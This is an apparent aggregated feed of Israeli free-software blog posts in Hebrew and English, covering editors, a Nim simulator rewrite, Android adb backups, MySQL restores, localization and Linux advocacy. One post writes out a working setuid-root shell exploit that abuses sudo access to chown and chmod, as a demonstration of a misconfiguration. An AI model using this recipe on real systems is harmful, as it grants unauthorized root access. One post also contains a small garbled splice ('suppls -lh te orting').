  1. הוא לא יכול לפתוח קבצים בגודל 2 מגה ומעלה. קבצי C יכולים להגיע לגדרים כאלו בקלות.
  2. הגלילה שלו לא מהירה מספיק.
  3. התמיכה שלו בכל דבר שהוא לא ווב, היא פשוט דרעק. עריכה של קבצי bash היא … לא טובה.
  4. תפתחו קובץ עם 200 שורות, תבחרו באפשרות Selection -> Split into lines, תלחצו home, ואם התחביר שלכם הוא C, אז חלק מהשורות יהיו בתחילת השורה הלוגית וחלק בעמודה 0. לחיצה פעמיים על home לא תעזור לכם. אחרי 20 פעמים, תהיה exception והעורך לא יעבוד שוב.
  5. התוכנה פשוט מאבדת את הסמן מהר מדי… לא הבנתי איך אבל יותר מדי פעמים אני בפוקוס על החלון ואין לי סמן. רק לחיצה על החלון פותרת את זה.
  6. תפתחו XML עם 500 שורות. סמנו 500 שורות. שוב Selection -> Split into lines עכשיו תנסו לשנות משהו. העורך פשוט איטי בטירוף.

עצוב. מאוד.

הטקסט המלא

14 March, 2015 07:59 PM

12 March, 2015

David Kaplan

CUPCake: sim.py -> sim.nim

So the (Python3) simulator is slllooowwwww (Kernel running at ~400KHz) and I decided to see whether there was some easy way to rectify the situation. Ultimately I'm simulating a very simple 8-bit RISC-based machine - albeit SPI-transaction-heavy for the display - and 400KHz on my 3GHz Haswell i5 is simply abysmal!

Unrelated to this issue, a few weeks ago I chanced across some discussions extolling and debating the virtues of some 'modern' languages. Having given Go[lang] a 'go' in the past - and disliking the experience immensly - I wondered if there was anything else out there that I could learn as I do enjoy learning new languages from time-to-time. And that's when I came across Nim.

What caught my eye was that is was being sold as a 'Python-like' language in respect to syntax and ease-of-use which generated Native code. Furthermore, its killer feature in my opinion is its ability to evaluate user functions at compile time and optimize accordingly.

To cut a long story short, I decided to re-implement the simulator in Nim, both as a way to learn the language and to see whether it would improve performance.

As a disclaimer: I don't yet know much Nim and my code is rubbish (e.g. I couldn't work out how to get a function-lookup hashtable working so I just went for the good ol' case-statement route for now). I basically just wrote it like i write Python and it mostly worked out okay.

At some point last night, the simulator's Nim-rewrite reached feature-parity (sans command line options) with the Python implementation (as of now depricated).

Kernel test executing on Nim simulator

I'm pretty happy with how this exercise worked out. The results are fantastic! The same kernel code is running on the nim-based (and hence native code) simulator (sim.nim, simdisplay.nim) about a factor of 10X better than the Python one! 3.5-4MHz is more like it! It's still around 10X-20X worse than the hardware should be but good enough for what I'm simulating at the moment. I can potentially eek out some more performance from it by writing code like a normal person and perhaps using an openGL-accelerated surface for the display; but that's an exercise for another time!

Nim is a great language and is a good demonstration of why Python isn't always 'good enough'. Highly recommended.

12 March, 2015 02:01 PM

07 March, 2015

Diego Iastrubni

גיבויים באנדאויד

דיברתי בעבר על גיבויים באנדרויד, אבל לא הסברתי לעומק. בפוסט זה אני אסביר טיפה על אודות גיבויים.

סוג ראשון – זמין בכל אנדרויד 4.0 – adb backup

כל שצריך הוא android-sdk מותקן על המחשב (למעשה את הפקודה adb בלבד) ואפשר לגבות איתה. השימוש הוא פשוט, לכתוב את הפקודה הבאה במחשב תוך כדי שהמכשיר הסלולרי מחובר למחשב:

adb backup  -f backup-2015-2-15.ab -apk -bb com.whatsup com.pinterest

הפקודה תיצור ארכיב שיש בו את החבילות שביקשתם, ההגדרות שלהן וההרחבות שלהן. ניתן לשים כמה חבילות שרוצים, וניתן לשנות את שם הקובץ שייכתב. יש לשים לב, כי צריך לשים את השם הקנוני של החבילה ולא הטקסט שכתוב בלאונצ'ר. כדי למצוא את השם המדוייק של החבילה אני משתמש בפקודה הבאה:

adb shell pm list packages | grep firefox
package:org.mozilla.firefox

לשיחזור, משתמשים בפקודה הבאה:

adb restore backup-2015-2-15.ab

כמה הערות:

  1. כשיתחיל הגיבוי בטלפון יהיה חלון שבו תתבקשו לשים ססמה כדי להגן את הגיבוי. אני סטלן ושוכח את הססמאות… אז לפעמים אני שם את הססמה בשם הקובץ… אבל לאחרונה גם וויתרתי על זה ואני פשוט מאשר כדי לעשות גיבוי ללא ססמה.
  2. אם גיבית אם ססמה – כדי לשחזר צריך גם ססמה. אם אין ססמה – אי אפשר לשחזר, מניסיון :)
  3. אין בעיות להעביר גיבוי בין מכשירים. אני העברתי את whatsup כולל היסטוריה מלאה של שיחות, כמה פעמים בין מכשירים בטכניקה הזאת.
  4. אני יצרתי סקריפט ששומר מספר חבילות (כאלו שאין בחנות של אנדרויד, שזמינות דרך FDroid) וגם שם את התאריך בשם הקובץ (שימוש בפקודת לינוקס date).
  5. אם תשימו את דגל -shared בסוף הפקודה (המקף מצד שמאל למילה) תגבו גם הגדרות כלליות של המכשיר (אני חושב שגם תמונות). אני מגבה אותן ידנית, פשוט מעתיק למחשב.
  6. כדי לגבות ולשחזר שיחות ו-SMS אני משתמש בתוכנה SMS & Call backup
  7. אנשי קשר ופגישות נשמרים בשרתים של גוגל. אני אישיתי משתמש ב-OwnCloud ומשתדל לא לשים אנשי קשר שם (וזה ממש קשה, גוגל די דוחפת שאני אעשה את זה, גם אם זה בטעות).
  8. בדביאן ניתן להתקין את החבילה android-tools-adb במקום להוריד כמה מגה מהשרתים של גוגל של android-sdk.

גיבוי שני – דרך ה-recovery. יפורסם בעתיד.

הטקסט המלא

07 March, 2015 09:10 PM

28 February, 2015

Shlomi Fish

Tech Tip: How to Configure Qt 5 Behaviour When Running on KDE4

Recently, I noticed that when running the VLC-2.2.0 prerelease, which is based on Qt 5 for its GUI, on my Mageia Linux 5 system on top of KDE 4, then in the playlist a single-click immediately played a file instead of selecting it, while reserving a double click for activation. After a long amount of research and thought, I figured out a way to configure Qt 5 on top of KDE.

To do so:

  1. Install lxqt-config and the “lxqt-qtplugin”.

  2. Add the line “export QT_QPA_PLATFORMTHEME=lxqt” somewhere before the desktop startup in your “.Xclients” or “.xinitrc” file (or in your “.bashrc”).

  3. Restart the X/KDE environment.

  4. Run “lxqt-config” to configure the appropriate behaviour.

This way one can use the Qt5 customisations of lxqt in KDE 4. Enjoy!

Licence

You can reuse this entry under the Creative Commons Attribution 3.0 Unported licence, or at your option any later version. See the instructions of how to comply with it.

28 February, 2015 12:12 PM

30 January, 2015

Dan Fruehauf

Privilege Escalation – be slack and pay for it

My predecessor(s) had left a bunch of people at my work place (not even developers) with sudo access to chown and chmod – for the purpose of data management. For a while I had tried to explain that having sudo access to just those two commands is effectively having full root access on the machines.

I had to demonstrate it. So I did:

cat <<EOF >> make-me-root.c
#include <unistd.h>
int main() {
    setuid(0);
    execv("/bin/bash", NULL);
    return 0;
}
EOF

gcc -o make-me-root make-me-root.c
sudo chown root make-me-root
sudo chmod u+s make-me-root

./make-me-root

Alright, demonstrated. Now it’s time for the raising eyebrows to follow.

And now also comes the part where I know it’s almost impossible to revoke privileges from people after they got used to a broken workflow.


30 January, 2015 12:43 AM

26 January, 2015

Rabin Yasharzadeh

Speed up a MySQL restore from a dump file

This is a small snippet I found to speed up importing MySQL dumps, it’s is almost as fast as coping the DB files directly.

Pre INSERT

Put the commands at the top of the dump file, e.g pre.sql,

SET @OLD_AUTOCOMMIT=@@AUTOCOMMIT, AUTOCOMMIT = 0;
SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS = 0;
SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS = 0;

 Post INSERT

Put these statements at the end of the dump file, e.g post.sql,

SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS;
SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS;
SET AUTOCOMMIT = @OLD_AUTOCOMMIT;

Example

cat <(cat pre.sql) <(bzcat mydb_backup.sql.bz2) <(cat post.sql) | mysql

 

26 January, 2015 02:55 PM

17 January, 2015

David Kaplan

CUPCake: Display simulation and Kernel character generation

I have made quite a bit of progress this weekend.

Firstly I'm nearing finalizing the ISA (Instruction Set Architecture) which I've started documenting. Currently most instructions are supported by the hardware itself bar the register-offset addressing.

As the defined ISA has overtaken hardware support, I decided that it's probably best implementing it as per the spec in the simulator; mainly to see if it's sufficient to do actual Turing-complete processing. To this end I've updated the simulator with support for the whole ISA. I've also made some major changes to the assembler to both in regards to suppls -lh te orting the new instructions and expand the lexical support. The assembler now can handle variables (in both .bss and .data), handles labels better, understands %define and can assemble the new offset addressing syntax.

One of the major new features in the simulator is (hacked together) support for my SPI-driven display module. I'm intending on using the ST7735R-based 1.8" LCD module from Adafruit driven off the first hardware SPI driver (SPI0). The simulated display is implemented using Pygame (SDL) and supports a 256x256 display matrix.

I have also made a start on the actual Kernel code itself. This currently consists of a basic SPI driver, the display driver for the ST7735R (sans proper init code as the simulator doesn't currently need it) and simple text routines.

For the character set I'm using the C64 character ROM with a basic routine to provide ASCII support. Here's the Kernel executing a routine on the simulator which dumps the charset:

Kernel test executing on simulator

The simulator is actually pretty slow. I'm getting ~400Khz on my Haswell i5. The hardware should run at around 100Mhz so a factor of ~250 better. Still a full screen refresh over SPI is pretty expensive...

17 January, 2015 09:47 PM

05 January, 2015

Amir Aharoni

Continuous Translation and Rewarding Volunteers

In November I gave a talk about how we do localization in Wikimedia at a localization meetup in Tel-Aviv, kindly organized by Eyal Mrejen from Wix.

I presented translatewiki.net and UniversalLanguageSelector. I quickly and quite casually said that when you submit a translation at translatewiki, the translation will be deployed to the live Wikipedia sites in your language within a day or two, after one of translatewiki.net staff members will synchronize the translations database with the MediaWiki source code repository and a scheduled job will copy the new translation to the live site.

Yesterday I attended another of those localization meetups, in which Wix developers themselves presented what they call “Continuous Translation”, similarly to “Continuous Integration“, a popular software deployment methodology. Without going into deep details, “Continuous Translation” as described by Wix is pretty much the same thing as what we have been doing in the Wikimedia world: Translators’ work is separated from coding; all languages are stored in the same way; the translations are validated, merged and deployed as quickly and as automatically as possible. That’s how we’ve been doing it since 2009 or so, without bothering to give this methodology a name.

So in my talk I mentioned it quickly and casually, and the Wix developers did most of their talk about it.

I guess that Wix are doing it because it’s good for their business. Wikimedia is also doing it because it’s good for our business, although our business is not about money, but about making end users and volunteer translators happy. Wikimedia’s main goal is to make useful knowledge accessible to all of humanity, and knowledge is more accessible if our website’s user interface is fully translated; and since we have to rely on volunteers for translation, we have to make them happy by making their work as comfortable and rewarding as possible. Quick deployments is one of those things that provide this rewarding feeling.

Another presentation in yesterday’s meetup was by Orit Yehezkel, who showed how localization is done in Waze, a popular traffic-aware GPS navigator app. It is a commercial product that relies on advertisement for revenue, but for the actual functionality of mapping, reporting traffic and localization, it relies on a loyal community of volunteers. One thing that I especially loved in this presentation is Orit’s explanation of why it is better to get the translations from the volunteer community rather than from a commercial translation service: “Our users understand our product better than anybody else”.

I’ve been always saying the same thing about Wikimedia: Wikimedia projects editors are better than anybody else in understanding the internal lingo, the functionality, the processes and hence – the context of all the details of the interface and the right way to translate them.


Filed under: Free Software, localization, software, Wikipedia Tagged: Waze, Wix

05 January, 2015 03:30 PM

18 November, 2014

sml

OpenSUSE 13.2: טיפים וטריקים

רק שלשה מבין ששה שדרוגים שערכתי עד כה, הסתיימו ללא תקלה כלשהי. הפעם אפרט מה היו התקלות וכיצד התגברתי עליהן.

התקלה הנפוצה הייתה (ככל שהדבר ישמע מוזר) השלמה חלקית בלבד של יצירת הקרנל ו\או ה initrd החדשים. נשמע מופרך? לא בהכרח.

הטקסט המלא

18 November, 2014 07:27 PM

15 November, 2014

sml

שדרוג אופן-סוזה לגרסה 13.2

שנה עברה מאז שוחררה גרסה 13.1 של אופן-סוזה. במשך השנה הזו עודכנה הגרסה ללא הרף ושרתה אותי בנאמנות על מספר לא מבוטל של מחשבים. ובמשך כל אותו זמן גם המשכתי לעקוב (ולדווח מפעם לפעם על באגים) אחרי פתוח הגרסה הבאה; המעקב נערך על מחשב הנסיונות שהריץ את גרסת "factory" של אופן-סוזה – שזו הפצה מתגלגלת על כל סממניה; תוכנות חדישות, “מהקצה המדמם", הנשברות מפעם לפעם ודורשות עזרה ראשונה.

והנה החודש "הוקפא" המצב של "factory" ושוחרר כגרסה החדשה של אופן-סוזה – גרסה 13.2. פקטורי, בינתיים ממשיכה להתגלגל. מהם האלמנטים העיקריים של הגרסה החדשה?

הטקסט המלא

15 November, 2014 11:31 PM

23 October, 2014

Yaniv Gershoni

אשכול קישורים בנושא תלת מימד והדפסות

אשכול הקישורים הגדול

טוב, זה לא קשור ב-100% לבלנדר אבל זו "צומת גדולה" שאני חוזר אליה במהלך המסעות אז נראה לי שכדאי לשים לזה מקום קבוע שיאפשר גם עדכונים כשצריך.

ובכן, למי שלא שם לב, מתפתח לו "תחום" שקשור לתלת מימד והוא: "הדפסה תלת מימדית".
למעשה, ההדפסה בתלת מימד היתה קיימת די הרבה זמן אך העלויות היו גבוהות ורוב הציבור בעצם לא יכל להשתמש בטכנולוגיה הזו ולכן גם לא נחשף אליה כל כך.
עם הזמן ובעיקר בזכות פרוייקט Reprap האפשרות להשתמש בטכנולוגיה של ההדפסה התלת מימדית הפך לנגיש יותר ואפשר כבר היום לקנות מדפסות לבית ולעסק ואפילו לבנות כאלו במחירים סבירים.

בפוסט הזה לא אסביר על הטכנולוגיה וכו' (אולי בהמשך) אלא רק אשים קישורים לכל מה שקשור לנושא ועוד קצת תבלינים...
(דוכן לתירס על הצומת נקרא לזה)
פרטים נוספים »

הטקסט המלא

23 October, 2014 12:30 AM

21 September, 2014

Ira Abramov

האם להאמין לאפל?

בשבועות האחרונים היו לאפל שוב שתי פאשלות אדירות בנוגע לפרטיות. האחת שהיתה יותר מפורסמת אבל פחות מעניינת היא שמאות מליוני לקוחות של iThings גילו פתאום אלבום של U2 במאגר המוזיקה שלהם ולא יכלו להסיר אותו (אלא בעזרת אתר מיוחד שלבסוף נפתח לענין). השניה והיותר מפחידה היתה כשאפל התחילה לסגור ללא רחמים חשבונות אחסון ענן (ולהבנתי גם סנכרון אנשי קשר וגישה לחנות היישומונים?) שהעלו את תמונות העירום הגנובות של קייט אפטון, ג'ניפר לורנס ושאר הסלבריטאיות – שמראש נגנבו מחשבונות iCloud פרוצים בעצמן. שיטות פעולה דרקוניות מילא, אבל זה אומר שכל קובץ שאתם מכניסים לתא שלכם נסרק ונבדק, לא רק שמו וגודלו אלא תוכנו המדויק.

כדי לפזר סוכר על הגללים (סליחה, זה לא אני המצאתי, זה ביטוי אמריקני) הכריזה אפל על כך שמהיום בעצם הם שמים את הפרטיות מעל הכל. מיסד EFF ג'ון גילמור מפרט למה לא להאמין להם (מצאתי דרך בוינגבוינג), ואני מתרגם:

> > > לאפל אין דרך לפתוח את ההצפנה של המידע ב־iMessage ו־FaceTime בזמן השידור ברשת בין מכשירים. בניגוד ליישומי העברת הודעות של חברות אחרות אפל איננה סורקת את התקשורת שלכם, ולא נוכל לספק שירותי האזנה לרשויות הבטחון גם אם נקבל צו שכזה. (מתוך הצהרת הפרטיות החדשה)

ולמה אנחנו מאמינים להם?

  • כי אנחנו יכולים לקרוא את קוד התוכנה ותיאורי הפרוטוקולים בעצמינו, ולאבחן כמה הם בטוחים?
  • כי Apple חברה גדולה וחברות גדולות לא משקרות?
  • כי הם ממשו את זה בתוכנה בינארית קניינית והצפנה קניינית היא תמיד חזקה יותר ממה שהחברה טוענת שהיא?
  • כי הם לא יכולים לעדכן בעתיד בסוד את התוכנה במכשיר שלך בצורה שתבטל את כל ההבטחות שנתנו לך, באופן אישי רק לטלפון מטרה מסוים או לקבוצה שלמה?
  • כי לעולם לא תסכים לעדכן את התוכנה מרצונך, לעולם, לא משנה כמה ינדנדו לך שיש עדכונים?
  • כי הגרסא הראשונה הזו של תוכנת ההצפנה שלהם לגמרי נקיה מבאגים כך שלעולם לא תצטרך לשדרג אותה כדי לשמור על הפרטיות?
  • כי אם עדכונים עתידיים דווקא יכניסו באגים באבטחה והפרטיות, נוכל בקלות להבדיל בינם לבין כאלו שיפתרו בעיות מסוגים אלו?
  • כי אם הם ישנו את דעתם ויחליטו לדלל את מדיניות הפרטיות שלהם בשביל נוחיותם או בגלל לחץ ממשלתי סודי, הם בוודאי יודיעו לנו?
  • כי הם עבדו קשה כל השנים למנוע ממך לשדרג את התוכנה שרצה על המכשירים שלהם כדי שאתה תוכל לבחור ולשלוט במכשיר במקומם?
  • כי בירוקרטיית הייצוא של ארה"ב לעולם לא תנסה למנוע מאפל מכירה של הצפנה קניינית לשוק הפתוח שמעבר לגבולות המדינה?
  • כי מדינות שלא נתנו לבלאקברי למכור טלפונים במתקשרים בצורה מאובטחת לשרתים הארגוניים שלך, בוודאי יתנו לאפל למכור כל מכשיר בעל אבטחה גבוהה שבא לה?
  • כי אנחנו מעריצים שרופים של החברה והם לעולם לא יכולים לטעות?
  • כי הם רוצים לעזור לטרוריסטים לנצח?
  • כי ה־NSA עצבנו אותם פעם אחת ולכן הם לצד הקהל הרחב נגד ה־NSA?
  • כי תמיד עדיף לשים האזנות לאנשים אחרי ששכנעת אותם שהם מאובטחים לגמרי, כדי שישפכו את הסודות הכי כמוסים שלהם?

יש עוד איזו סיבה, אני לא מצליח לחשוב עליה כרגע…
ג'ון.

למען השלמות, אני אוסיף שגם אנדרואיד כפי שהוא מגיע מסוגר מיצרנים כמו סאמסונג ואל-ג'י, חולים באותה המחלה. כדי להיות בשליטה אמיתית ומלאה על המכשיר שלכם, צריך לעשות ניתוחי כריתת תוכנה כואבים ולהשתמש בהם באופן זהיר. אין מה לעשות.

תגים: , , , , , , , , , , , , , ,

21 September, 2014 04:18 AM

14 September, 2014

Niv Lilien

מיקרוסופט אין מובילי*

מיקרוסופט עומדת בפני פלח מחשוב חדש, שמאיים להרוס את ההגמוניה של Windows. מחשבי לוח אמרתם? לא, אני מדבר על נטבוקים. איך ההיסטוריה הקרובה חוזרת על עצמה, ופרשנות אוחרת למהלך עליו הכריזה מיקרוסופט השבוע.

Full text

14 September, 2014 06:20 PM

פתוח זה בטוח: תשובה שלי לגדי להב

השבוע פרסם גדי להב, שמונה לאחרונה לעורך "וואלה", טור בדה מרקר בדפוס וברשת, שבו הוא טוען כי הפתיחות של מערכת ההפעלה אנדרואיד הופכת אותה לפגיעה לווירוסים, ואילו המערכת המתחרה של אפל בטוחה יותר משום שהיא סגורה. אלא שהטור המבהיל שלו, מתבסס על שורה של הנחות רווחות בציבור, שברובן שגויות

Full text

14 September, 2014 06:17 PM

04 September, 2014

Arie Skliarouk

O GTalk team, where were thou? (part II)

Four full years passed since my last post on GTalk. Unfortunately I can't say much good about Google Instant Messenger efforts. It looks they would like everybody to switch from XMPP-based GTalk to proprietary protocol of Hangouts.

We saw stop of XMPP federation, wholesale upgrade of GTalk clients to Hangouts, last GTalk for Windows have been released15 months ago. Next logical step is to stop supporting XMPP altogether. What a sad day that would be..

Of the handful biggest IM providers, none supports open protocol (besides Google/XMPP yet). With 19 billions valuations the market is huge, and one would expect the fierce competition to leave no rock unturned in attracting more users. Unfortunately commercial interests prevail here.

There never was better time for an established company to embrace open-protocol platform. May be there already is? Please post in comments.

PS. Whoever is still on XMPP/Jabber/GTalk platform, uses pidgin on ubuntu 14.04 amd64 and misses "message delivery confirmation" plugin - here is a bit of solace for you: pidgin-xmpp-receipts_0.6-1_amd64.deb

04 September, 2014 10:59 AM

24 August, 2014

Doron Rainer

סדרת מדריכים: לינוקס זה לא מפחיד

שלום לכולם,

חשבתי רבות על פרוייקט נחמד שאפשר לעשות, והגעתי למסקנה שפרוייקט כמו סדרת מדריכים ללינוקס למתחילים יהיה הפרוייקט שאני הולך להשקיע בו הכי הרבה.

החלטתי שאת המדריכים שאני אכתוב בפרוייקט הזה נעשה בצורה שלא תפחיד אף אחד משימוש בלינוקס.

המדריכים הינם בעברית ולכן אני חושב שזה יקל על המשתמש המתחיל בלינוקס.


כמו כן, אפשרתי אפשרות להשאיר תגובות בדפי המדריכים השונים על מנת שאני אוכל לקבל ביקורת ולשפר ולתקן,
אשמח אם תשתפו איתי פעולה.
גם התגובות זה מקום שניתן לשאול שאלות.

אגב, שימו לב שיש כפתור בצד ימין למעלה שרשום: "לינוקס זה לא מפחיד" משמם ניתן להכנס למדריכים.

בגלל שאת הפרוייקט התחלתי לא ממזמן, לא כל הפרקים עוד קיימים, ברגע שאגיע לפרק האחרון אני אכתוב עליו. כמובן שכל פרק חדש שאני אעלה אני אכתוב פוסט על זה כאן.

כרגע ישנם 2 פרקים.

אשמח לתגובות :)

24 August, 2014 06:08 AM

23 August, 2014

Doron Rainer

אז למה אני משתמש בלינוקס ולא בווינדוס?

אחד מהשאלות הרבות שאנשים שואלים משתמשי לינוקס: למה אתם משתמשים בלינוקס? מה רע לכם בווינדוס?

הרבה אפילו נוטים להראות לך כל מיני פיצ'רים שיש בווינדוס "ואין בלינוקס". ואז אתה תופס אותם בשאלה "אתה צריך את הפיצ'ר הזה, אתה משתמש בו באמת?" ואז מגיע הגמגום.

אפילו המתחכמים, האלה שהעבודה שלהם כל הזמן במיילים והם משתמשים בOutlook: "למה אתה לא משתמש בזה? היא מנהלת לך כמו שצריך את המיילים, הכל פה מסודר, אתה רואה את כל החשבונות במקום אחד מבלי לעבור בין אתרים.", ואז פה גם אני תופס אותם בתשובות ובשאלות.
"קודם כל אין לי כל כך הרבה חשבונות מייל, יש לי חשבון אחד שאני עובד איתו, ואם יהיה לי עוד חשבון אני אישית אדאג לעשות הפרדה בין חיי האישיים לבין עבודה"
"ואני לא מבין מה צריך לשלם בשביל אופיס כשיש לך תחלופות שנותנות אותו הדבר אבל בחינם"

אז עכשיו אני אגיד את זה: לינוקס בשבילי זה נוח! אני אוהב את הצורה שהמערכת בנויה, אני אוהב שיש לי שליטה מוחלטת על כל דבר. אני אוהב שיש לי תוכנה שאני מקבל עדכונים בחינם, וכל גרסא חדשה אני לא צריך לקנות דיסק בכמעט 1000 שקל ולהתקין על המחשב.
אני לא צריך לקנות מחשב חדש כל פעם שיוצא ווינדוס חדש.

אני אוהב להסתכל על הקוד של התוכנות שאני משתמש בהם. אם אני רוצה אני אפילו תורם קוד בשביל לפתור באגים, או אפילו יש לי אפשרות לדווח כמו שצריך על באגים ואיך אני נתקל בבאג, מאשר ללחוץ על כפתור "דווח שגיאות" ולך תדע לאן זה שולח ומה זה שלח.

אני חושב שכל סביבת עבודה (גנום, KDE, E, XFCE) יותר נוחה מהווינדוס.
ממשקים מלוטשים, נקיים נוחים, והכי חשוב, לא צריך להיות גיק מחשבים בשביל להבין איפה כל דבר נמצא.

אני משתמש בגנום, הראתי לחבר שהוא לא מבין גדול במחשבים, הוא תוך 2 דקות יתמצא בכל הסביבה. (וככה צריך!)
כשמדברים על מחשבים לצורך עבודה, הבנאדם לא צריך לבזבז הרבה זמן בלהתקין דברים ולסדר את המערכת לפי איך שנוח לו. פשוט צריך להתקין מערכת עם ממשק נוח שקל להתמצא בו ולעבוד.

ולמה שיש עדכונים בוונידוס ההתקנה שלהם לא מיידית? וצריך לבצע ריסטארט למחשב על מנת שהעדכונים יותקנו?

למה כל הסיבוך הזה עם הממשק? למה הם גורמים להרגיש מפגר שיש לך כפתור גדול ולידו כפתור קטן? ולמה בתוכנות המיקום של הכפתורי שליטה (סגירה, הגדלה, מיזעור) נמצעים בכל מיני מקומות שונים ולא במקום אחיד לכולם?

למה יש את מטרו למחשבים שהן לא בעלי מסך מגע??? זה מאד לא הגיוני מה שעשו למה משתמש במחשב רגיל צריך לסבול את הGESTURES בעזרת העכבר? מה רע בממשק הרגיל שכולם מכירים, עם תפריט START כמו שצריך ובלי כל הבלאגן של המטרו.

למה תפריטים חבויים? למה לא פשוט להציג כפתור לכל התפריטים האלה?

למה הכל מסובך בווינדוס? למה? ולמה כל גרסא חדשה של הווינדוס משנים באופן משמעותי הממשק, מה כל פעם המשתמש צריך ללמוד איך לעבוד עם הוונידוס? למה זה לא יכול להשמר שנים ממשק מסויים?

נראה לי קצת חוצפה שמייקרוסופט עושים מה שבא להם ולא חושבים בכלל על המשתמש הפשוט, הזה שנכנס לאתרי חדשות, למיילים, וכותב מסמכים. מה כבר רציתי? להכנס לאנטרנט, למה זה מסובך?

23 August, 2014 05:19 PM

21 August, 2014

Hetz Ben Hemo

טאבלטים עם אנדרואיד – על יצרנים שלא שמים עליך

אנדרואיד, בכל הקשור לטאבלטים, אם להאמין למספרים שמספרים חברות כמו גארטנר, IDC ואחרות, הצליח להימכר לא רע. אני כותב "הצליח" כי כרגע השוק מוצף. בבריטניה לדוגמא, סמסונג תקועה עם מלאי רציני של טאבלטים חדשים והיא מנסה להיפטר ממנו ע"י מבצעי … להמשיך לקרוא

הטקסט המלא

21 August, 2014 10:22 PM

16 August, 2014

Yehuda Bar-Nir

מדריך למתחילים בסקראץ׳

[פוסט זה הוא תרגום של מדריך המשתמש הרשמי של Scratch. תוכלו להוריד את המדריך באנגלית מדף העזרה באתר. הזכויות למקור שמורות ל Lifelong Kindergarten Group, MIT Media Lab. מופץ ברשיון CC-BY-SA 2.0]

Scartch Cat

סקראץ׳ (Scratch) היא שפת תיכנות שמאפשרת ליצור סיפורים אינטראקטיביים, אנימציות, משחקים, מוזיקה ואומנות.

מסך לדוגמה מסקראץ׳

המדריך הזה יאפשר לכם ליצור פרויקט בסקראץ׳.

ליצירת פרויקט חדש, גשו לאתר: http://scratch.mit.edu. אם האתר נפתח באנגלית, ניתן לשנות את שפת הממשק מהתפריט בתחתית הדף. לאחר מכן, לחצו על הכפתור צור.
צור

אם יש לכם כבר חשבון בסקראץ׳, הכנסו למערכת כדי שהפריוקט שלכם ישמר.
כניסה

1 – התחילו לזוז

לבנת זוז

גררו לבנת זוז לאזור התסריטים.

לחצו על הלבנה

לחצו על הלבנה כדי לגרום לחתול לזוז.

2 – הוסיפו צלילים

לבנת נגן בתוף

גררו לבנת נגן בתוף וחברו אותה ללבנת הזוז.

לחצו והקשיבו

לחצו והקשיבו.
אם לא הצלחתם לשמוע, בדקו שהרמקול במחשב שלכם מופעל.

החלפת צלילים

תוכלו לבחור סוג אחר של תופים מהתפריט.

3 – התחילו ריקוד

הוספת לבנת זוז חדשה

הוסיפו לבנת זוז חדשה. לחצו בתוך הלבנה והוסיפו סימן מינוס.

לחצו להפעלה

לחצו על כל אחת מהלבנים כדי להריץ את כל הערמה.

לבנת נגן בתוף נוספת

הוסיפו לבנת נגן בתוף חדשה, והחליפו את סוג התוף מהתפריט. לחצו להרצה.

4 – שוב ושוב

לבנת חזור

גררו לבנת חזור והצמידו אותה לראש הערמה. הפה של לבנת החזור צריך לעטוף את שאר הלבנים.

כדי לגרור את הערמה, יש לתפוס אותה מהלבנה העליונה.

שינוי מספר החזרות

תוכלו לשנות את מספר החזרות שיבוצעו.

לחצו כדי להריץ.
אפשר ללחוץ על כל אחת מהלבנים להרצת הערמה כולה.

5 – אמרו משהו

לבנת אמור

לחצו על קטגוריית המראה וגגרו החוצה לבנת אמור.

שינוי טקסט

לחצו בתוך לבנת האמור והקלידו כדי לשנות את המילים. לחצו כדי לנסות.

חברו לראש הערמה

אחר-כך, חברו את לבנת האמור להתחלה.

6 – דגל ירוק

כאשר לוחצים על הדגל הירוק

גררו לבנת כאשר לוחצים על הדגל הירוק וחברו אותה להתחלה.

הפעלת הדגל הירוק

בכל פעם שלוחצים על הדגל הירוק, התסריט מתחיל לפעול.
להפסקה, לחצו על כפתור העצור.

7 – שנו צבע

עכשיו, נסו משהו שונה…

לבנת שנה אפקט

גררו לבנת שנה אפקט.

לחצו על לבנת שנה אפקט
לחצו כדי לראות מה קורה.

8 – לחיצה על מקשים

לבנת כאשר נלחץ מקש

חברו לבנת כאשר נלחץ מקש

עכשיו, לחצו על מקש הרווח במקלדת שלכם.

בחירת מקש

תוכלו לבחור מקש שונה מהתפריט

9 – הוסיפו רקע

תוכלו להוסיף רקע לבמה.

בחירת רקע

לחצו כפתור רקע כדי לבחור רקע חדש.

בחרו רקע מהספריה (למשל "spotlight-stage").

ספרית הרקעים

לחצו אישור.

הרקע החדש מופיע כעת על הבמה.

הרקע החדש

10 – הוסיפו דמות

כל אוביקט (משתתף) בסקראץ׳ נקרא דמות.
להוספת דמות חדשה, לחצו על אחד הכפתורים האלה:

כפתורי הוספת דמות

כפתורי הוספת דמות:

דמות מהספריה בחרו דמות מהספריה

צייר דמות ציירו דמות משלכם

דמות מקובץ העלו דמות/תמונה מקובץ

דמות ממצלמת רשת צלמו תמונה (ממצלמת רשת)

כדי להוסיף את הדמות הזאת:
קייסי רוקדת
לחצו על דמות מהספריה ואז לחצו על קטגורית אנשים ובחרו את הדמות "cassy dance" (קייסי רוקדת).

תוכלו לגרור את הדמויות ולמקם אותן על הבמה.
גררו את הדמות

11 – חקרו!

עכשיו תוכלו להגיד לדמות מה לעשות. נסו את האפשרויות הבאות או חקרו בעצמכם.

הוסיפו צליל:
צלילים

לחצו על לשונית הצלילים. תוכלו לבחור צליל בחר צליל, להקליט צליל משלכם הקלטה, או ליבא מקובץ צליל מקובץ. (בפורמט AIF, MP3 או WAV)

הוספת צליל לתסריט
עכשיו לחצו על לשונית התסריטים וגררו לבנת נגן צליל לתסריט. בחרו את הצליל מהתפריט.

שנו תלבושות:
תלבושות

לכל דמות יכולות להיות מספר תלבושות.
לשינוי התלבושת הנוכחית, לחצו על לשונית התלבושת.
אחר-כך לחצו על תלבושת שונה לדמות.

צרו אנימציה:
אנימציה

תוכלו ליצור אנימציה ע"י החלפת תלבושות.
לחצו על לשונית התסריטים.
צרו תסריט שמחליף בין התלבושות.

12 – טיפים!

שם לפרויקט
תנו שם לפרויקט שלכם.

לרעיונות נוספים, לחצו על טיפים:
טיפים

חלון טיפים

חלון הטיפים מראה דוגמאות תסריטים שבהם תוכלו להשתמש בפרויקט.

הוא גם מסביר מה כל אחת מהלבנים של סקראץ׳ עושה.

שמור ושתף

כדי לשמור את הפרויקט ברשת, הקפידו להתחבר לאתר. התחבר

